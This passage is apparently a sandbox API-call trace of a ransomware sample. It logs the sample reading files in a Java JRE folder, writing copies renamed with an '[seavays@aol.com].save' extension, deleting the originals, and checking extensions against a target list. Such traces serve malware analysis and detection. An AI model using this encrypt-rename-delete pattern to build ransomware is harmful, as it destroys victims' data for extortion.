hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x4040, lpOverlapped=0x0) returned 1 [0207.545] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x4050, lpOverlapped=0x0) returned 1 [0207.547] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.547] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xf0, lpOverlapped=0x0) returned 1 [0207.547] SetEndOfFile (hFile=0x350) returned 1 [0207.547] CloseHandle (hObject=0x350) returned 1 [0207.547] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.547] SetEndOfFile (hFile=0x34c) returned 1 [0207.549] CloseHandle (hObject=0x34c) returned 1 [0207.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0207.549] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 1 [0207.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.550] lstrlenW (lpString=".doc") returned 4 [0207.550] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0207.550] lstrlenW (lpString=".docx") returned 5 [0207.550] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0207.550] lstrlenW (lpString=".pdf") returned 4 [0207.550] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0207.550] lstrlenW (lpString=".xls") returned 4 [0207.550] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0207.550] lstrlenW (lpString=".xlsx") returned 5 [0207.550] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0207.550] lstrlenW (lpString=".ppt") returned 4 [0207.550] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0207.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.550] lstrlenW (lpString=".zip") returned 4 [0207.550] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0207.550] lstrlenW (lpString=".rar") returned 4 [0207.550] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0207.550] lstrlenW (lpString=".bz2") returned 4 [0207.550] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0207.550] lstrlenW (lpString=".7z") returned 3 [0207.550] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0207.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.551] lstrlenW (lpString=".dbf") returned 4 [0207.551] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0207.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.551] lstrlenW (lpString=".1cd") returned 4 [0207.551] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0207.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.551] lstrlenW (lpString=".jpg") returned 4 [0207.551] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0207.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.551] lstrlenW (lpString=".doc") returned 4 [0207.551] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0207.551] lstrlenW (lpString=".docx") returned 5 [0207.551] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0207.551] lstrlenW (lpString=".pdf") returned 4 [0207.551] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0207.551] lstrlenW (lpString=".xls") returned 4 [0207.551] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0207.551] lstrlenW (lpString=".xlsx") returned 5 [0207.551] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0207.551] lstrlenW (lpString=".ppt") returned 4 [0207.551] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0207.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.551] lstrlenW (lpString=".zip") returned 4 [0207.551] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0207.551] lstrlenW (lpString=".rar") returned 4 [0207.552] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0207.552] lstrlenW (lpString=".bz2") returned 4 [0207.552] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0207.552] lstrlenW (lpString=".7z") returned 3 [0207.552] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0207.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.552] lstrlenW (lpString=".dbf") returned 4 [0207.552] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0207.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.552] lstrlenW (lpString=".1cd") returned 4 [0207.552] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0207.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0207.552] lstrlenW (lpString=".jpg") returned 4 [0207.552] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0207.552] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0207.552] lstrlenW (lpString="splashscreen.dll") returned 16 [0207.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0207.553] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=204864) returned 1 [0207.553] CloseHandle (hObject=0x34c) returned 1 [0207.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0207.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.553] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0207.553] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.553] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.553] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0207.556] GetLastError () returned 0x0 [0207.556] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x32040, lpOverlapped=0x0) returned 1 [0207.962] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x32050, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x32050, lpOverlapped=0x0) returned 1 [0207.968] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.968] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xf4, lpOverlapped=0x0) returned 1 [0207.968] SetEndOfFile (hFile=0x350) returned 1 [0207.968] CloseHandle (hObject=0x350) returned 1 [0207.969] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.969] SetEndOfFile (hFile=0x34c) returned 1 [0207.971] CloseHandle (hObject=0x34c) returned 1 [0207.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0207.972] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 1 [0207.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.973] lstrlenW (lpString=".doc") returned 4 [0207.973] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.973] lstrlenW (lpString=".docx") returned 5 [0207.973] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0207.973] lstrlenW (lpString=".pdf") returned 4 [0207.973] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.973] lstrlenW (lpString=".xls") returned 4 [0207.973] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.973] lstrlenW (lpString=".xlsx") returned 5 [0207.973] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0207.973] lstrlenW (lpString=".ppt") returned 4 [0207.973] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.973] lstrlenW (lpString=".zip") returned 4 [0207.973] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.973] lstrlenW (lpString=".rar") returned 4 [0207.973] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.973] lstrlenW (lpString=".bz2") returned 4 [0207.973] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.973] lstrlenW (lpString=".7z") returned 3 [0207.973] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.973] lstrlenW (lpString=".dbf") returned 4 [0207.973] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.974] lstrlenW (lpString=".1cd") returned 4 [0207.974] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.974] lstrlenW (lpString=".jpg") returned 4 [0207.974] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.974] lstrlenW (lpString=".doc") returned 4 [0207.974] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.974] lstrlenW (lpString=".docx") returned 5 [0207.974] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0207.974] lstrlenW (lpString=".pdf") returned 4 [0207.974] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.974] lstrlenW (lpString=".xls") returned 4 [0207.974] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.974] lstrlenW (lpString=".xlsx") returned 5 [0207.974] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0207.974] lstrlenW (lpString=".ppt") returned 4 [0207.974] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.974] lstrlenW (lpString=".zip") returned 4 [0207.974] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.974] lstrlenW (lpString=".rar") returned 4 [0207.974] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.974] lstrlenW (lpString=".bz2") returned 4 [0207.974] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.974] lstrlenW (lpString=".7z") returned 3 [0207.974] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.975] lstrlenW (lpString=".dbf") returned 4 [0207.975] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.975] lstrlenW (lpString=".1cd") returned 4 [0207.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0207.975] lstrlenW (lpString=".jpg") returned 4 [0207.975] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.975] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0207.975] lstrlenW (lpString="sunec.dll") returned 9 [0207.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0207.975] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=135744) returned 1 [0207.976] CloseHandle (hObject=0x34c) returned 1 [0207.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0207.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.976] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0207.976] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.976] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.976] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0207.978] GetLastError () returned 0x0 [0207.978] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x21240, lpOverlapped=0x0) returned 1 [0207.984] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x21250, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x21250, lpOverlapped=0x0) returned 1 [0207.989] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.989] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xe6, lpOverlapped=0x0) returned 1 [0207.989] SetEndOfFile (hFile=0x350) returned 1 [0207.989] CloseHandle (hObject=0x350) returned 1 [0207.989] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.990] SetEndOfFile (hFile=0x34c) returned 1 [0207.991] CloseHandle (hObject=0x34c) returned 1 [0207.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0207.992] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 1 [0207.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.992] lstrlenW (lpString=".doc") returned 4 [0207.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.993] lstrlenW (lpString=".docx") returned 5 [0207.993] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0207.993] lstrlenW (lpString=".pdf") returned 4 [0207.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.993] lstrlenW (lpString=".xls") returned 4 [0207.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.993] lstrlenW (lpString=".xlsx") returned 5 [0207.993] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0207.993] lstrlenW (lpString=".ppt") returned 4 [0207.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.993] lstrlenW (lpString=".zip") returned 4 [0207.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.993] lstrlenW (lpString=".rar") returned 4 [0207.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.993] lstrlenW (lpString=".bz2") returned 4 [0207.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.993] lstrlenW (lpString=".7z") returned 3 [0207.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.993] lstrlenW (lpString=".dbf") returned 4 [0207.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.993] lstrlenW (lpString=".1cd") returned 4 [0207.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.993] lstrlenW (lpString=".jpg") returned 4 [0207.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.994] lstrlenW (lpString=".doc") returned 4 [0207.994] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.994] lstrlenW (lpString=".docx") returned 5 [0207.994] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0207.994] lstrlenW (lpString=".pdf") returned 4 [0207.994] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.994] lstrlenW (lpString=".xls") returned 4 [0207.994] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.994] lstrlenW (lpString=".xlsx") returned 5 [0207.994] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0207.994] lstrlenW (lpString=".ppt") returned 4 [0207.994] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.994] lstrlenW (lpString=".zip") returned 4 [0207.994] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.994] lstrlenW (lpString=".rar") returned 4 [0207.994] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.994] lstrlenW (lpString=".bz2") returned 4 [0207.994] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.994] lstrlenW (lpString=".7z") returned 3 [0207.994] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.994] lstrlenW (lpString=".dbf") returned 4 [0207.994] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.994] lstrlenW (lpString=".1cd") returned 4 [0207.994] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0207.994] lstrlenW (lpString=".jpg") returned 4 [0207.994] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.995] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0207.995] lstrlenW (lpString="sunmscapi.dll") returned 13 [0207.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0207.995] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=31808) returned 1 [0207.995] CloseHandle (hObject=0x34c) returned 1 [0207.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0207.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.996] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0207.996] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.996] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.996] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0207.996] GetLastError () returned 0x0 [0207.996] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x7c40, lpOverlapped=0x0) returned 1 [0208.456] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0208.459] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.459] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xee, lpOverlapped=0x0) returned 1 [0208.459] SetEndOfFile (hFile=0x350) returned 1 [0209.101] CloseHandle (hObject=0x350) returned 1 [0209.102] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.102] SetEndOfFile (hFile=0x34c) returned 1 [0209.103] CloseHandle (hObject=0x34c) returned 1 [0209.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.103] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 1 [0209.104] lstrlenW 